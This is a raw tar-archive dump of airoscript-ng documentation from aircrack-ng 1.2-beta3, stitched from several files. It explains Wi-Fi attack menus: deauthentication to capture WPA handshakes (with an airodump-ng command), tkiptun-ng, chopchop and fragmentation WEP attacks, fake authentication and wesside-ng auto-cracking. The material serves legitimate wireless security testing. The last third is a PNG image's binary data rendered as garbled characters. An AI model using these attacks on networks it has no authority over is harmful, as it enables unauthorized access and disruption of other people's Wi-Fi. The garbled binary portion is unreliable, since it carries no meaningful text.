+++++++++++++++++++ You can setup here wifi and iwifi interfaces. Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng. Appearance ++++++++++ This configuration section will allow you to make airoscript prettier for you. Variables: - *theme* : The theme file, theme files are stored in path/themes/ - *DEFAULT_MONITOR_MODE* : (Bool) start or not monitor mode on selected interface by default. - *SHOW_SMALL_MENU* : (Bool) Show a small version of all the menus, with just the title, perfect for small screens. - *show_only_wireless_extensions*: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0. - *Show warning* (Bool) (Currently no effect) Shows an usage warning at startup - *INTERACTIVE* (Bool): Asks for some more stuffs than usual - *force_mac_address* (Bool): Do not check for mac address mode. - *MON_PREFIX* : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup. - *ADDOPTIONS* : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES. Advanced configuration file =========================== Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attack-wpa.rst0000644000000000000000000000347711662075456023671 0ustar rootrootWPA attacks ----------- Standard attack ========================== Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it. :: airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK You can read more about it on: http://www.aircrack-ng.org/doku.php?id=cracking_wpa&s[]=wpa WMM Attack ========== Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself. Got from the aircrack-ng wiki: :: Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack. This attack is described in the paper, Practical attacks against WEP and WPA written by Martin Beck and Erik Tews. The paper describes advanced attacks on WEP and the first practical attack on WPA. An additional excellent references explaining how tkiptun-ng does its magic is this ars technica article Battered, but not broken: understanding the WPA crack by Glenn Fleishman. Basically tkiptun-ng starts by obtaining the plaintext of a small packet and the MIC (Message Integrity Check). This is done via chopchop-type method. Once this is done, the MICHAEL algorithm is reversed the MIC key used to protect packets being sent from the AP to the client can be calculated. At this point, tkiptun-ng has recovered the MIC key and knows a keystram for access point to client communication. Subsequently, using the XOR file, you can create new packets and inject them. The creation and injection are done using the other aircrack-ng suite tools. You can read more here: http://www.aircrack-ng.org/doku.php?id=tkiptun-ng aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/plugins.rst.html0000644000000000000000000000200711711531302024223 0ustar rootroot Airoscript plugin system

Airoscript plugin system

Main rules

  • Airoscript plugin system is quite easy to understand.
  • Each plugin can modify airoscript's inner behaviour or add a menu entry on plugins' section.
  • Each plugin's name corresponds only to its deps, as each plugin can only use ONE external program (but plugins can depend on each other).
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/interface.rst0000644000000000000000000000000011662075456023550 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/configuration.rst.html0000644000000000000000000000103411711531302025410 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others.rst.html0000644000000000000000000001525611711531302024060 0ustar rootroot Others menu

Others menu

This menu contains all not-frequently used (but nice) options.

Airoscript options

This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.

  • Change / reset interface
  • Change interface MAC
  • Enable monitor mode
  • Change dump path
  • Try to configure network

External plugins

Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:

plugins_menu+=("This is the menu entry");

And then creating a function, composed by the menu name, replacing spaces by underscores.

::

This_is_the_menu_entry(){

# Here do stuff

}

For more info on plugin creation you can have a look at the manual page.

Advanced tools

Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.

Injection

Chop chop and fragmentation attacks. Those are only usable when you already have xor files.

About chopchop attack (got from aircrack-ng wiki):

This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.

About frag attack (got from aircrack-ng wiki):

::
This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.

Autentication

This will provide Fake auth and Deauth attacks.

Fake auth attack, from aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.

Deauth attack, from aircrack-ng wiki:

This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€.
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.

Operations with ivstools

Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.

Decloak packages

Launches a nice selection menu about airdecloack-ng options.

::
Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.

Create virtual interface with airtun-ng

Creates a virtual interface with the cracked wep key using airtun-ng.

Diagnostics and reports

This menu makes airgraph-ng reports.

Auto crack wep with wesside-ng

Launches wesside-ng to try to auto-crack the network.

Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.

Easside-ng

An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/interface.rst.html0000644000000000000000000000103411711531302024501 0ustar rootroot
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/images/0000755000000000000000000000000012316431267022326 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/images/wep-attacks-client.png0000644000000000000000000004413711662075516026550 0ustar rootroot‰PNG  IHDRaº ƒ·› oFFs¢#G pHYs  ÒÝ~ü vpAg  „õ¿GçIDATxÚíÝyXgþð\ä $ ˜*AÔZÔµ*Ú¢ÕU±¨º,bu« BuEÛ‚úëZÛº+âQñ¨¢TYÅm«UZ‘C-uEAQ@AGB.r'ÐßSŸ‚ 9 À÷óÏdÞ™y™|óÎ;ó¢¶lÙ²eË@a €5ûí·ß~ûí7(°NFXwõ`ðxW×ÚZ™L$š4‰L¶±1$UL ‡#õu_Æ¥0œAaÕÜ݃ƒÿó.7.® àÛoÿñqã IâädkÛ×}— À°c#¬ÙwßÕ×WVº¸‰Tjaacãx<­ýß `z*&Ó×72òêÕ{÷ÊˉD¡ËE¢ææ¢¢¬¬¤¤yóœI¤WÃ…†îØ‘”TUõü9Ÿ¯Rµ· ÅÅׯ''ÏŸïêúª Fß1ÛØØÙM˜”tçNaáÆ¾¾®®]?¥PÜÝ¿ÿþ—_>lm•H”J¥R*mk+)¹qãÂ…Å‹Ùl Z˜„Ö‰F7n×®êêóçßYòÎ;ÇŽ••;6}º³sïiO`H*4ƒ!“‹‹ù|¡0"bÞtH(¬¬=rÚ˜„Öiýú;wx¼°0WW2YB"1ÁÁ­­nÝÚ{ZË…½C£q8‡Ž­V,îùé¡C R©ŸF wT ÆÛo¯][PðèÑ•+>>ŽŽD¢¾Tåår¹FùöÛ..ЖÀ‚ Œ°6x<•úî»­­55öütß>§­mñb:]ÿ—¨¥ÃŽDòòÚ»÷ôé´´ª*.·©I.W*Õj­¶££³Sßv*+ †Á°±Á`úzTcÇîÜÉç«Try@ƒñê›&˜:uãÆS§ÚÚ4­¶ºúÁƒ_MN>}úĉ;""Éd ¦·[C a„µ™1cß¾Gz©PVvü¸¯¯¾-X:Œøä“‚‚ææôôÏ>[¶ŒÍf±œíìˆD‡ÃáˆD}Û©¯W©´Z&Ó˜0âöí¤¤˜˜Y³>üððá––ŠŠ ÆŒ!±ØÞÓâñöö£Gûûÿõ¯+W-]úþûûÛ¾}wï>z”˜- ÌÂëFc±öö%%Bam-‹…Ç¿êëƒÁãY,.W$*/§Óq¸W­cé0 ÜÜ„î_ä^^[·êÛNb"×ÞîïO£éïG1䍯_¹òÀïáÃ3gÞx]0ÑÒ¢Õ*UUÐÞÀtðÀ§yã… ¿ý–BÉÎÞ¸±±Q£éìì¹Ng§FÓØ¸aéSï¿?rdÏunß–HÔêèè9s<=ñx ƒ!‘¨TGG7ßœ:UßÞ OUPÐÞ®ÑlÞäëkookK£y{ûú††þðÃ¥K>>õõjµN·dɨQÝ?<¸sg~~TÔßÿþþûl¶«+†,§PØìÐP‘ˆÃIL4¤”**.\غuîÜØØ––ÿý//ï›oœ_îá8|øñ㦦þú×éÓíì‹%)”Y³‚‚6lË››³² ½€@o„õ8z´®N"é:¬R;;ë£$.÷UO7Ðé“'/_ž˜˜’’›+ªÕ\.óùååäåéۦᩘL_ߨ¨ÂB‡ÇS«Õj™ìÙ³»wSS/vs³³[·.5µ¬L£Q*…—÷Á¬ZûÃ¥¥Ns³J%“!a&'/\8bÄ«rÝ{‰‡GPпÿ]U•“óõ×8Ü‹tº·whèÕ«w‰D2™Z­RI$|~IÉçÎ-ZÄb½®„ÂnjÀHFÀHFÀHFÀHFÀHFÀHFÀHFÀH}ž$ Š °Öð½ ½0„0NßúºJz.G£ÑèS"À¬ó{YoÑó 5äàôeµ÷´ RA*H© ¤Ò—Ê”ïeËÁYb£Æe RA*H© ¤‚Tƒ Œ€‘úFÀÀzXÃ÷2ôFÀHFÀHFÀHFÀHFÀHFÀHFÀHFÀH}#¬a^óžüýQ(j÷îþÞ¯u–0WÍve†[û‡r€ú2œÕõF88xy­_¯ÑtttvR@™™( %—£P(THÈPk" ïêZ[+“‰D“&‘É66½7¦®:;u:•ª¥åùóêêÌÌääýûß~ÛÞï=UG‡F#—76ÖÕUV¦¤$$|ùåøñ¶¶8ÜP+YýÐ]ÀEÊšÛ¼ébb8‘hè•¡)ù‚–úlË–-[¶l1dMËE=$’ƒƒ‹ËŸÿ¼fͶmbqCC_ ÚÚ¢P(Ô¯¿¢P(”%/;ýQ]yx|ðAfæ¯¿îØ‘•UP°mÛ[o~¿ûº ‰wñbMMS“D"óxUUéé§NEGS(Xl÷ò@£±X{{N­æñFŒX° &¦¨¨¶¶µU©”J›šnÝJK;p€É4ôKÑòa2}}##¯^½w¯¼\ H ¹\$jn.*ÊÊJJš7ÏÙ™Dêº>G"yz66J¥55..¯>4‡spxúT"in;–DˆÞ ëOZ´(..)éêÕ¦& ºúܹƒ·oŸ9sÌëoó†|Ú»î5‚ÁHë×Çǧ¦VU56ŠDIS‡“žž°yó«Ú!C"Éå|þåË«V8‘›ÛÞ®TŠÅ'O¹¹EF&'ß½+¶´®Z5aB÷òìk‹2%_úR½®–Ðh.4tÇŽ¤¤ªªçÏù|•ª½] (.¾~=9yþ|WW䇰<#P†œ †§rvF¡P¨¬¬¡Py4Ú¸q»vUWŸ?ÿþûÈ’wÞ9v¬¬ìرéÓ‘|¾îxÞgç‘#'Nüä“ãÇ žz”—÷ÅAA®®S¦lÛ¦PW¯šÞ¢Ìuu2$­‡ÇêÕ—/_»öñÇcưXt:G$R(³g¯^}èPXYyì ô # ºðž ¹ï÷îP¨¼õëïÜáñÂÂ\]Édd ‰Ä`·¶>|¸ukï%ÖUAAVÖÅ‹;wFDøùáp/ÿªë¹¾V+—‹DUUOž;¶cǺu=Ó™§ô~ú)$Äݽ÷5%’žûÇã)…B HKÓ·ýO?us£Pº§¢Rß}W¡~þÙÒµŒô(tthµbqÏO‰DGÇ€‘¨¡áÛo{~úå—Ïž …aa#F¼¨}k‚F}tìØ¯¿š÷,0®Í›Rw†ÿÙ³ÍÍ2ÙŠ F÷ž"‘N_ºT.oiùþ{}ÛŸ9“BÁãÑh,–BA–::‰È’ŽÛeZ‹2W»5$í¡C R©ŸF X_û^ Œx;úºG¤{¸°ppWòU×ÚZSsð`ÏO÷íãpÚÚ/¦Ó‰D}ÇccC&O™òä‰L¦Ñ¤¦þýï^^ÖÖ‘ýNjg÷º‘,µµJ¥V«/HÒé4@ßöÙl"‹íºÆb©TN­ni1W-ãp$’—×Þ½§O§¥UUq¹MMr¹R©Vkµ¯&UPÐܼeËá‘H§/YÒÖVUµw¯õ\ªll(”Ñ£W¯ŽŽÞ·/?¿ºº­íáÃë׿û.""(Ȱ~K·yãêÎðöÏåªTZmÏÛaŒ‹‹V«R=®oû]oÊ K„——˜«E™~^’¶²R¡ÐhŒþ1,Q×fa„µUÞŒûö=zÔ{çsYÙñã¾¾½‹5þþýZ­RY[;mÚ«¿°6Œ0¤£ªJ¡Ðjõ!è}ûNN/§B£q8:9a®Zþä“‚‚ææôôÏ>[¶ŒÍf±œíìˆD‡ÃáˆÄÞ·@£ÿå—uuéé+V K||âã?NNž;wÄKœM†ßÔ1bÊ?¿={NŸþùgO ¨®þïããÿïÿfÍòð Ñ¬³ÍÿQÏ‚y¿nëê”J}a“‰œe†lß%¦´(ÓÏkCÒÖ׿:¨u-àƒ€›ÖSyÈðÀ’¡°¶–ÅÂã_uŠb0x<‹ÅåŠDååt:÷b}ÇóÁçÎ={V_Ÿ•µi“õ4AÃ÷{ôhCƒTêïÿò/QC¶¿~ýÝãÁÞ~î\dà›¹Ž¹¤º¹Ý{>¼¼¶n5d §NÕÕÕÕ¹¸àñxüíÛ·oÛÚb0ýÐ]]]aáµkÛ·¯[·x±åžÔ0¥Í·µi4#F¼œÊÖÖÙyÕ*ó~Ýž>ÝÔ$“9:¾|SÃÑqÙ²öv/1Ñí²Äôeé0"1‘Çko÷÷§ÑúrVK€0â5û2nˆ%ò&‰ÁXy#G¾ÿþ?vb¦¿ÿÅ‹NJÊÒ¥nn½ò~vvk«B±ÿœ9Ý0Záî’šš™ìáÁbÑhx<…âä°eË™3\n~þž==Suvvvj4¥¥ÙÙ{÷zz"âœÙì°°ýû‹‹KKããgÌ0×q^ºÄçËå®\ùÞ{öö¶¶4š··¯ohhFFiiJ Ò¾dɨQööú¶0jÔâÅ?þ˜–¶rå‘#EE;wNž<|.‚¦´ùÄĆ©ô§Ÿ6mš?ŸB!mlœÙì©SÍÍÍÏ µÚŽŽÞ·yë–X¬REGÏ™ãé‰Çc0 ‰D¥::zx¼ùf÷¡»ãÆEFÞ¼YQqâDdäèÑNNd²ƒáæöÍ7ee7nDD¼êÖ¡qa„é-Êð|×æÇŽ »~=33::(ˆÍvu}Ñ;E¡°Ù¡¡"‡óª  ìµÔ‚¬!Œø­ômyàó«¯kå=ZW'‘tb¦‹õÑG —ûbDôë:Ï'LظQ" óò\]ÿøõfýa …Ba±ÁÁ;wž;WQÁå¶¶ªTíímmåæž?àîN¥öL„^^¡¡±±ee<žH¤RI¥<^nnJJ\\×_´ÆµÃ®©˜L_ߨ¨ÂB‡ÇS«Õj™ìÙ³»wSS/vs³³[·.5µ¬L£Q*…B}ùCž‹¹{·¹™ÏŸ2åõãE†SÚ<ƒ1mZxøíÛ\®B¡Ñ(•ÏŸ——çåmØðî»..Édjµ¾‡EtúäÉË—'&¦¤äæ …jµF#—‹Å|~yùƒyyÝ×Å`H¤ˆˆøø´´ÚÚ–©T,njâpRS¿þ:<œH|u_qa„é-Êð|ÕÅ`V­Šýá‡ÒR§¹Y¥’ÉÚÚJJnÜHN^¸Ð:‡MF˜M××OõÏ3öðÊX8µÌ§R§MËȸrå/º^†mÈo $:y…B¡t:hZÀÚáñX¬—׌~~ 99GŽ9òÑG×®AÉ—A?WrGÕÎ…B¡.\€ ƒƒH¤T*ÕÕ99ß}·ys`à‚yy­­J%” `péCaS¶ddüñ·?Á6ÖÌúk‡LÆã‡Ó€%Xõžú€‘ Œ€‘ Œ€‘úü‚akË€¿? …BíÞÝßû…>‡ª¾Oš œ5p¦ ß’·ŠÞ"‘Á˜5ëðáï¿Ïή©ihhiQ*5…¢¾¾²²´ôÌ™ý+<ÜÞ‹}Õ@ä•È y!!C­‰ ï ¬­•ÉD¢I“Èdýƒòz~ùuvêt*UKËóçÕÕ™™ÉÉû÷¿ý¶½=òÂpý©::4¹¼±±®®²2%%!áË/Ç·µÅ ú'z ‡î.Rýɸ—Ι"&†Ã‰ äM/ 8_†5kxýÔáÃOžðxjµV«Ó<¹råìÙt:‰D"Mž¼|y|<²ßÇôm¡ëë§úgü{ÿÄ€|™ùë¯;vdelÛöÖ[†Å ‹5~|XØž=ÙÙÁãDZ±¯KecC$2®®žžÁÁ7ÆÇ×ÕÝ»÷Ïϳc8ÿƪ­½?=}Û¶µkýý-7§ÆÀ–|a¡TªVÏú…Òà-–¯ÅnnÈ~5™ìÉ“Þ×G^†½k×Щ¼ï¾«¯¯¬tq!©ÔÂÂÆÆ7ô½Ü·÷ãAJR«U*¹Ü¾æ")©®îu%ßW —kkËdúù]¹RPPY)“i4Z­B!‘ðùÝ×Å`H¤°°¸¸‹kjšš$±˜Ç«ªJO?u*:šBy¹ ™ê ™ÃsĈ bbŠŠjk[[•J©´©éÖ­´´ Ÿ™Ðòa2}}##¯^½w¯¼\ H ¹\$jn.*ÊÊJJš7ÏÙ¹ûdN8‰äéÙØ(•ÖÔ蛹Æáž>•Hš›ÇŽ%‘¢7ˆÅúÓŸ-Š‹KJºzµ©I ¨®>wîàÁíÛgÎ3ÆÁa`Ï/¤|Ôêöö’gç™3ÃÃoÞ,-­«S(Ôj™¬¦¦´4;;$dìXý³NôýõÏ}k‡¦´ù¾¶¨®¥ºcGRRUÕóç|¾JÕÞ._¿žœ<¾«+òcË<¥ñêT½—À±cõõRéªUNN¯:‰Á–JŸ?OH0oÉmF¼ÆÔ©|ý:²_¥R(ÌÊê}}dj®×­58*F7n×®®S½óαceeÇŽMŸŽäóuǃôF8;9qâ'Ÿ?^PðäIRRp°!¹@fy˜;÷ƒ(/¿paÍóæN©‰rrNž¬¨()Ù¼ÙßßÇÇÁ·±¡P»Oæåž‘qøpTTHˆ»»“…B"Ñh,Öš5ññEEÅÅ»w÷œjîììèÐhîÜÉË;rdòäQ£‘©¹Ö®Ý½ûþýòò„„wÞ1½–Ñh †L..æó…ˆˆyó¼½Éd‡#©T#((::5µ­­¼<.®gÚE‹Î«¬¼zõ/a³{~ÊbÍŸþ|MÍ•+Ë–™«­š2[ …Âf¯Y³ÿ½{N[[IIvöÿ»~}`à¬Ys~a0M[Ûýû……gÏÎ;aÂÈ‘‚­-¶bÅçŸçäˆÅÎæ:‹i‡}oó¦´(Õ«/_¾víãÇŒa±ètŽH¤PfÏ^½úÐ!¡°²òÅ\$–¸¦’ÖÍ- àÊ•²²WŸ}Èõ­çazÉmFèåáôï«TÈ4K»v-XÀbõžj°OÞÕúõwîðx]§,B¢õÖÖ‡·nÕw<=de]¼¸sgD„Ÿ÷rÜÞs}­V.‰ªªž<)*:vlÇŽuëz¦3OéýôSHˆ»{ïk&$46J$=÷ÇS(>> …@–¦oûŸ~êæF¡tOE¥¾û®B!üü³¥kùÅÜѡՊÅ=?%D¢††o¿íùé—_>{&†…YçGh4ðÑGÇŽýú«¥§ë3dðp y‹í X,‘ÈfëtMk«¹ê׸vh\›7®E:ÔÐ •úùÑhBÿ_Ó I‹Áàptú“'­­……$Ò½ph4ckûàA[[M “ùò´ï¦—üÐaÄ+Œ¼w¯Rù"€èì—•?îëÛûñ°Xóçï߯Õ*•µµÓ¦½úâ5°a„!}UU …V«o AïÛwrz9ÃÑéÈÈ sÕò'Ÿ47§§öÙ²el6‹åìlgG$8G$¾n÷ñã¿ü²®.=}Å d‰O|üãÇÉÉsçŽaÞÒîëM#¦LñóÛ³çôéŸæñ‚êêÿþ7>þÿþoÖ,ÍίÞ×1oa\;4®Í×¢êëU*­Öðq?潞 ”îÞ C–lÚôàAK‹¾ÉâM/ù¡ ˆßÙØØÙM›öô©\®Ñ ]‘;v,]:fL_·3Øoj ÃKJ„ÂÚZëåÎ=ƒÇ³X\®HT^N§ãp/ÖÑw<|pîܳgõõYY›6YO4|¿G64H¥þþ/÷¾²ýõë_¾0öösçÊå|þåËæ:NäòíæF tïùppðòÚºÕ-œ:UWWWçâ‚Çãñ·o76Þ¾mk‹Á ôÀ±ººÂÂk×¶o_·nñbë|R£?ÃãÚ¡qû2®E%&òxííþþ4šåÐô´11Åŵµ^^ŽŽS§¶´ÔÖ>l¹’Ú ŒøÝ_þ’’RSƒl?!aÙ277㶃 =DÞ$1+oäÈ÷ßÿñÇ®Ã*õñ÷¿x‘ÃIIYºôEYé;äÍÙÙ­­ ÅþýsætÀhýa„»{HHjjffLLp°‡‹E£áñŠ“S@À–-gÎp¹ùù{öôL…Œ§)-ÍÎÞ»×Ó“É´·G†X†…íß_\\Z?c†¹ŽóÒ%>_.?xpåÊ÷Þ³··µ¥Ñ¼½}}CC32JKSR¸\•J«]²dÔ(ýO Œµxñ?¦¥­\yäHQÑΓ'çË¢á%ozqë–X¬REGÏ™ãé‰Çc0 ‰D¥::zx¼ùf÷{ƵCãÚ¼q-jìØ°°ë×33££ƒ‚ØlW×=F ›*q8‰‰æ* Ó¯‡ÎÎÓ§?þ¿ÿÅŧ¥-[6z´y¯p¦ô+k#¦Œ$G |~õÕ`­¼£Gëê$}{]ÙÙ±X}$‘p¹/F_¿®ó|„%¡0/ÏÕõ~ë#P( ‹ Þ¹óܹР.·µU¥jook{ô(7÷üù€ww*µg $Œðò -+ãñD"•J*åñrsSRââºöâô<ª¾¶C&Ó×7*ª°ÃáñÔjµZ&{öìîÝÔÔÅ‹ÝÜììÖ­KM-+Óh”J¡P_þçbîÞmnæó§Lyý½ó¡}Aì뇦´1:}òäåËSRrs…BµZ£‘ËÅb>¿¼üÁƒ¼<ÓÛ¡qmÞø…Á¬ZûÃ¥¥Ns³J%“µµ•”ܸ‘œ¼páë‡ë^¦?ûƒB¡Ñxü/¿47?}êìüº¾.ÓJ~8œ5|ÖüÀ§áº¾~ªž±‡—¿Â©e.x<•:mZFÆ•+ù ÔÀpð2l3@î #ÐÉ“( ¥ÓAÓÖÇbml¼¼fÌðóKHÈÉ9räÈ‘>ºv J0¸ ú¹QÈsã.@…‚ÁA$R*Šêꜜï¾Û¼90pÁ‚¼¼ÖV¥J0¸ô!Œ°ÎÉW22þøÛŸ`*kfýµC&ãñÃu À\¬áZOâÀHFÀHFÀH}~Á°µeÀß…B¡vïîïýŸÀ@;„:ÐZö¬¢7‚Htrš>ýȑᄏv­®®©I P©4¥²±±¶öéÓ´´'¾øâÍ7ÉäW½yg¥\ŽB¡P!!C§Y˜þ2.`Š˜G$²þ}ÁP_Sʰ?k€!Ë^?µoߣGõõr¹Z­Ó}ñÅÒ¥>>4‘H¡Ìž½~ý÷ß#ûmi),üòK}[èúú©þÿ>°S$K+,”JÕê¡·/¨/ë/y¸€AÖZ¬ù-–Œ‹ ²ßŽ­Vÿë„È˰wíÜ•gú–%.76ÖÖ–Éôó»r¥  ²R&Óh´Z…B"áó»®ÉdúúFF^½zï^y¹@ ‘(r¹HÔÜ\T”••”4ož³3‰ôêzqv޽t)'§¡A(”É**îÝËÎ ›8‘NonV«u: ‹}ñ+Æ`H$dB¬U«NœÈÍmoW*Åâ“'ƒ‚ÜÜ"#““ïÞ [Z W­š0ÁÁá彑Haaqq/ÖÔ45I$b1WU•ž~êTtt×½¼Øçà V··—”8;Ïœ~ófii]B¡VËd55¥¥ÙÙ!!cÇêŸá˜—a÷½ Û—¾T½·¤üׯOM­ªjl‰$’¦&'==!aófK”a_YCZ¦–Ñh.4tÇŽ¤¤ªªçÏù|•ª½] (.¾~=9yþ|WWäaW;» ’’îÜ),ܸÑ×·ûü8`x‚0¢×K?cÆêÕ§O#ûmoçñþóŸÞÓ Ssee îÊ3}ËJ¥H”“sòdEEIÉæÍþþ>>x¼ …âèøâÒƒFc0drq1Ÿ/FDÌ›çíM&8‘H¥2AAÑÑ©©mmååqq=·?sæ‘#OžÅÆ~øáèÑÎÎd²³³‡Ç;ï|÷Ýǹ¹MggggÏT:ZÝÜœ›3g“9eʶmjµTúèQ^Þ_¹ºN™²m›B!\½Ú5•—WxxFÆáÃQQ!!îîNN ‰D£±XkÖÄÇïÞÝsÒ ¦£C£ik»¿°ðìÙ¹s'L9’@°µ¥ÑV¬øü󜱘Ã9pÀôZ0¥ ÍUㆤ0aÓ¦¼¼§O¿ývÆ1c‰ÊœœÜÜÖ®ü8?ûvooK”¡açù@–¡¥kÙÃcõêË—¯]ûøãÀÀ1cX,:‡CúYW¯>tH(¬¬|1'NïGE&³Xþóµk¥¥¹¹žžæ àÀ`aÄköÕÕùóý+›Ý{ªÁ>Q¸¾¼÷ulòéO?…„¸»w ÈïÑŽ­V,îùéO?  ÅܹööB×厎'îÙÓûï¿™3)<Æb)dI` £#‘ˆ,éèÐéq./$$46J$=ïþãñŠB!¤¥éÛWx8‹…¼ßô,–Hd³‘Éè-]¿½—¡¹öeHÚ³g››e²+Œî¿˜‰D:}éR¹¼¥åûï-Q†¦³tZº–jhJýüh´îgŠáGÅ`¼ýöÚµ]¹âããè“es·a3°æÞˆ >ý4#Ù¯TÚÐpüxïiYâ w噾ed S§¾~®HŽDòòÚ»÷ôé´´ª*.·©I.W*Õj­¶£ãÅœ«=SñxjµNG§ãpÝ¿Þq8"Ñã÷0ÿ# ²„@xyI×TµµJ¥V«/Òé4@ß¾ˆÄWÏhú$Ô¦—¡¹jÜ´ÈÔÒLæËó("7 µZ•êùsK”¡áª -]Ë•• …FÃ`¼nËWÕØ±;wòù*•\ðr€%ÎD#YóØ,g±þñº1ÕFtÝ‚!ã÷?ù¤  ¹9=ý³Ï–-c³Y,gg;;"‘@Àáp8"Qß‘´¶j4HÑýâˆÅ£G>­³!Kªª ­ÖÅŘ ±)%lx-W†æªqCÒÖÕ)•úÂ&S«U*kk-Q††¨2´t-×׿:€3ä¨nßNJЉ™5ëÃni©¨¸paÌ"‹E`±3ÑHÖFàp$’§'²_•J"ÉÏï}ý¡tS£¶€\æÜÜ„î—'/¯­[õmçÆ ¡P©  Ó»w±ÒhãÆíÚeÞ0âèц©Ôßÿå}™RæýZ2® ÍUㆤ=}º©I& rt|ù¦†£ã²eíí<^b¢%ÊÐpU†–®åÄD¯½ÝߟF3­õŽ¿rå<ÞÇgμñÁ°Ì™h$k#Ž}ø°®N&S*5šC‡–,yë-ÁƆL^¼øóÏoÝBö[Rrøð‚½ob‰¼IbðV^†—.ñùrùÁƒ+W¾÷ž½½­-æííëš‘QZš’‚t†/Y2jT÷!] þðCUÕÇ{÷._ŽÁ Ñh´““»ûÌ™gÏ–”äå™7Œpw IMÍÌŒ‰ öð`±h4<žBqr زåÌ.7?Ïž¾–€!åsë–X¬REGÏ™ãé‰Çc0 ‰D¥::zx¼ùf÷AÆ•¡qû2./ãÆEFÞ¼YQqâDdäèÑNNd²ƒáæöÍ7ee7nDDxyY¢ 7PehéZ;6,ìúõÌÌèè  6ÛÕ•FC–S(lvh¨HÄáô%€óò Þ»—ËÍÏOHpvî[ª Œø­íˆóæ?þã99\.×ÚŠ¼~ª¡¡ºúÉ“3gví ³·ù±´ž>¿újpW^†L¦¯oTTa!‡Ãã©ÕjµLöìÙÝ»©©‹»¹ÙÙ­[—šZV¦Ñ(•ݵÅáÈäñãOŸÎÉyð ­M¡P*ž>ÍË[¿~Æ gçÎÎÎN­Ö£2d …Ba±ÁÁ;wž;WQÁå¶¶ªTíímmåæž?àîN¥öµ ):}òäåËSRrs…BµZ£‘ËÅb>¿¼üÁƒ¼<ÓËи};üƒ!‘""âãÓÒjk[Z¤R±¸©‰ÃIMýúëðpãF?˜·ý÷göw-c0«VÅÆþðCi)‡ÓܬRÉdmm%%7n$'/\8b™Üײõð ú÷¿«ªrr¾þÚÁáåñI`¸0Âlº¾~ ‡ë=Â+bz²±!“'MR©Äâ[· 4ÀÒàeØf€ÄâH tò$ …Bétд,‡#‘Æ«©im­®þÛßæÎ}ûm'';;<ÞÁÁÅeôèåË·nýæ.÷Ê•}û ¬`Xì½ÈÔ\±±ý½ßáÜ1vìòåÿ÷yyOžÔÖ¶·«T@ÐØÈádd$&~öÙÈ‘/C` ƒì¦@W0ÖF‚0F‚0F2Û † 2Är÷îþÞ¯µ•Fï3 ^C5_ÀšÏ&àÜ1œ•^œÇ OM5d6Kä•Ȭ!!C§q89MŸþ·¿¥§çæÞ¿ßÔ$‘Èå••EE¿ü²eË¢EcÆÀÉbb8œ×Í2c®T —µ=ðI 88ÌžÝРRi4¡óûu}ýÔëfµ4Ë•™Ìd®YÓÖÖÞ^]µhÑŒ 